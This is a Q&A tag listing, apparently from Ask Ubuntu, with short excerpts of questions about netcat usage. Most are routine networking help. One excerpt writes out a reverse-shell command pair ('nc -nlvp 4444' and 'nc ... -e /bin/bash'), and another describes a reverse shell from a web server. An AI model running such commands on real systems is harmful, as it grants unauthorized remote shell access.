Questions tagged [netcat]

(or nc), a utility that is used for just about anything involving TCP, UDP, or UNIX-domain sockets. It can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, do port scanning.

52 questions
65
votes
2 answers

Sending a simple TCP message using Netcat

I am trying to use netcat to send a simple message over TCP, e.g. I want to send the digit 1. So I understood that I write the following in the terminal, after installing netcat netcat [ip-address] [port] But how do I specify the message to be sent?…
63
votes
2 answers

What are the differences between netcat-traditional and netcat-openbsd?

What (if any) are the significant differences between netcat-traditional and netcat-openbsd? I'm having trouble finding any relative information. Anybody familiar that can offer some insight?
parsecpython
  • 953
  • 1
  • 10
  • 18
29
votes
2 answers

How to build a simple chat using netcat?

I am currently working on a project and I have implemented a simple chat application using the netcat libraries. The client is prompted to enter port number and the command nc -l -p xxxx where xxxx is the port number entered by the…
9
votes
2 answers

How can I select default version of Netcat in ubuntu

When I checked netcat -h I found out that the -e and Version option is missing from my netcat. I use Ubuntu 15.10. After searching from forums I found out a way to know the version installed and the candidate for it. apt-cache policy netcat I got…
9
votes
1 answer

How does this command work? (reverse shell)

There was a simple way to connect two systems and getting a shell using nc command as below. Machine A to listen nc -nlvp 4444 Machine B to connect nc 192.168.4.4 4444 -e /bin/bash However, the -e option is no more, The man pages recommends…
Gowtham
  • 321
7
votes
3 answers

Is it possible to encrypt the communications via netcat?

I know that its possible to chat in linux terminal using netcat. I want to know whether it is possible to encrypt the netcat communications. I did chat by listening on PC-1 nc -l 1234 And connecting to my IP on the other machine. nc $IP 1234
5
votes
2 answers

Secure Chat Tunnel

I Want to Create a Secure Chat connection and tunnel through Ubuntu terminal or something like netcat (nc -l 1234) but netcat is not encrypted.
bx758
  • 97
4
votes
2 answers

STDOUT and STDERR redirection for nc

I am trying to make a watchdog bash script which has to check if the port is open, based on the exit status, otherwise should start the daemon. Problem is I can't manage to avoid the script outputting any information by redirecting STDOUT and…
4
votes
1 answer

Trying to test a service is up using nc command

I'm trying to test if a service is up and running using nc. echo ruok | nc 127.0.0.1 5111 But I get this response: This is nc from the netcat-openbsd package. An alternative nc is available in the netcat-traditional package. usage: nc…
Blankman
  • 8,605
3
votes
2 answers

BASH: Read lines from netcat connection

I have a simple script which reads some lines from a connection initialized using netcat. A client can transmit some "commands". If the client write "exit" I like to close the connection. BUT: After transmit the "exit" the script echos the…
ErWu
  • 133
3
votes
1 answer

Bash script that opens multiple netcat instances and exits them

I am trying to create a script that opens up multiple gnome-terminals and opens a netcat connection. After a couple seconds I would like the terminals to close. I am at a loss and I believe it can't be done, however I figured I'd ask. This is what…
Pegleg
  • 33
3
votes
0 answers

Why is netcat remote shell not returning any output on ubuntu 12.04?

I'm connecting to a server I have on my laptop, both are on the same vmnet and both systems are Ubuntu 12.04 LTS. In order to connect I use reverse shell from the web sever. First I start listening on my host by typing sudo nc -l -k -v 10101 and…
Giladiald
  • 239
  • 1
  • 4
  • 13
3
votes
1 answer

connect via netcat and send messages in bash script

When I am writing a bash script like the following: #!/bin/bash nc localhost [pseudoport] echo "test" it connects to the server but does not send the text "test". It works with #!/bin/bash echo "test" | nc localhost [pseudoport] The problem…
OcK
  • 125
2
votes
1 answer

run netcat on crontab

I have 2 systems 1: 192.168.0.31 2: 192.168.0.32 From system 1 terminal I executed below command tar -zcf - test | pv | nc -l -p 5555 -q 5 From system 2 terminal I executed below command nc 192.168.0.31 5555 | pv | tar -zxf - Now full test…
shaji
  • 51
  • 3
  • 9
2
votes
1 answer

How to kill nc -k -l without restart?

I have a script running behind the screen which has a command nc -k -l 12345. Is there any workarounds I could kill this daemon without restarting the machine? Ubuntu 14.04
1
2 3 4